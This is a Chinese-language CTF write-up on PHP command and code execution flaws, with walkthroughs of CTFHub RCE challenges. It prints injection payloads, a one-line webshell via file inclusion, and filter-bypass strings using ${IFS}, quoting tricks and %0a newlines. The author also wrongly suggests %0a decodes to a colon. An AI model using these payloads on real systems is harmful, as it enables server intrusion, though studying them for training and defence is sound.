ctfhub中的命令执行及代码执行漏洞
命令执行漏洞
应用有时需要调用一些执行系统命令的函数,当服务器没有经过严格过滤用户的参数,这时候就可能导致命令执行,从而导致命令执行漏洞
漏洞成因
1.代码过滤不严格
2.系统的漏洞造成命令执行
3.调用的第三方组件存在代码执行漏洞
常用命令执行函数
system(): 该函数会把执行结果输出。
passthru(): 该函数只调用命令,并把运行结果原样地直接输出没有返回值
exec(): 不输出结果,返回执行结果地最后一行
shell_exec(): 不输出结果,返回执行结果
命令连接符
windows和Linux都支持地命令连接符:
cmd1 | cmd2 只执行cmd2
cmd1 || cmd2只有当cmd1执行失败后,cmd2才被执行
cmd1 & cmd2先执行cmd1,不管是否成功,都会执行cmd2
cmd1 && cmd2先执行cmd1,cmd1执行成功后才执行cmd2,否则不执行cmd2
Linux还支持分号(;)cmd1;cdm2按顺序依次执行,先执行cmd1再执行cmd2
防范及修复
1. 尽量少使用执行命令地函数或者直接禁用
2.参数值尽量使用引号包括
3.再使用动态函数之前,确保使用地函数是指定地函数之一
4.再进行执行命令地函数|方法之前,对参数进行严格过滤,对敏感字符进行转义
代码执行漏洞
由于服务器对危险函数过滤不严,导致用户输入地一些字符串可以被转换成代码来执行,从而导致代码执行漏洞
漏洞成因
用户能够控制函数输入
存在可执行代码地危险函数
常见地危险函数
eval()、assert()
这两个函数都可以将输入地字符串参数作为php程序代码来执行
eval()的参数必须是合法的php代码,所以必须以分号;结尾
assert(mixed $assertion [,string $description])如果assertion是字符串,它将会被assert()当作php代码来执行
还有一些危险函数
preg_replace()、str_replace()、call_user_func()这些函数跟eval、exec等函数地特性相同,都属于危险函数
preg_replace(mixed pattern,mixed replacement,mixed subject [,int limit]):此函数可以用来执行一个正则表达式的搜索和替换
$pattern:正则表达式匹配的内容
$replacement:用于替换的字符串或字符串数组
$subject:要搜索替换的目标字符串或字符串数组
当$pattern存在/e模式修正符,允许代码执行
修复方案
1. 尽量不要执行外部的应用程序或命令
2.使用自定义函数或函数库来替代外部应用程序或命令的功能
3.执行函数的参数做成白名单限制,再代码或配置文件中限制某些参数
了解这些漏洞之后,我们开始去ctfhub上面去做一下rce的题目
CTFHUB-RCE题目
0x11 eval执行
这段代码没有经过过滤,然后我们上面也有举例子,我们直接用get方式传入
phpinfo();
因为eval中的参数必须是php标准的语句的字符串,所以必须以分号结尾
最后构造payload:?cmd=system("cat ../../../flag_14453");
拿到ctfhub{bc1644e9e45ddb7e79f9da2d}
0x12文件包含
下面的shell连接就是一个一句话木马,我们这简单需要个绕过就是strpos不能等于flag
我们直接就是利用文件包含构造payload:?file=shell.txt
然后我们post传入一个ctfhub=phpinfo();我们会发现执行了
然后我们就构造拿flag的payload:ctfhub=system("cat ../../../flag");
拿到ctfhub{3041141beefd6faba007a336}
0x13 php://input
我们发现了php://伪协议,然后访问下面的phpinfo我们又发现了
于是我们利用伪协议,post传入php代码
php://input伪协议可以执行post中传入的参数
于是我们构造payload:
拿到flag
0x14读取源代码
最下面告诉我们了flag的地址,我们可以尝试利用php://filter去尝试读取一下这个文件
0x15远程包含
然后构造payload:
0x16命令注入 无过滤
于是这里我们用到&管道符,cmd1命令是否执行成功,都会执行下面的语句
于是构造payload: 127.0.0.1 & ls
发现有两个页面,index.php是当前页面,那我们查看一下数字的php文件
于是再构造一下payload:127.0.0.1 & cat 64021750531849.php
然后发现页面没有显示,是不是被注释了呢,于是我们查看源码发现flag
0x17 过滤cat
这种利用方式也特别的多
127.0.0.1 & c''at flag_82072417315322.php
127.0.0.1 & c\at flag_82072417315322.php
127.0.0.1 & base64 flag_82072417315322.php //看到有一串base64字符串,解码获得flag
与第一个命令注入差不多访问之后,然后源码看到flag
0x18 过滤空格
127.0.0.1&${IFS}cat${IFS}flag_2493582611164.php //${IFS}
127.0.0.1&$IFS$9cat$IFS$9flag_2493582611164.php //$IFS$9 $9中的数字可以换成大于1的数,也是没有确定,我只是简单用bp跑了1-20的数字
然后经过绕过,就和前面的题一样了,查看源码拿flag
0x19 过滤目录分隔符
我们先来到题目上,先看有什么东西
127.0.0.1&ls
有两个文件,看到了flag_is_here它是一个文件夹,于是我们进入一个文件夹
127.0.0.1&cd flag_is_here;ls -l
这就是一个文件了,于是我们查看这个文件,得到flag ---> 127.0.0.1&cd flag_is_here;cat flag_10192171586587.php
查看源码 得到ctfhub{23a5a2e469fb908439fa342c}
0x20过滤运算符
那我们的管道符肯定不能用了于是我们还有一个绕过的方式,就是Linux中还支持用分号;去分隔
们构造payload: 1270.0.1;ls
然后查看flag哪个文件,访问源码就可以了
0x21综合过滤
正则过滤,过滤了目录操纵符、运算符、分号、空格、cat、flag、ctfhub字符
url编码bypass,发现可以通过%0a进行绕过,于是构造payload
127.0.0.1%0a$IFS$5cd$IFS$5f''lag_is_here%0a$IFS$5c''at$IFS$5f''lag_23257267973627.php
?ip=127.0.0.1%0A$IFS$9cd$IFS$9*_is_here%0A$IFS$9c''at$IFS$9*#
这个是带有通配符得操作用*号可以代替一些字符
主要得难点,在于怎么去找一个绕过点,比如运算符可以通过%0a绕过,我这里有想不明白得地方,但是它确实能绕过。%0a通过url解码不就变成了冒号:吗?
疑问待解答,我还是有点疑惑,等我解开疑惑以后再来补充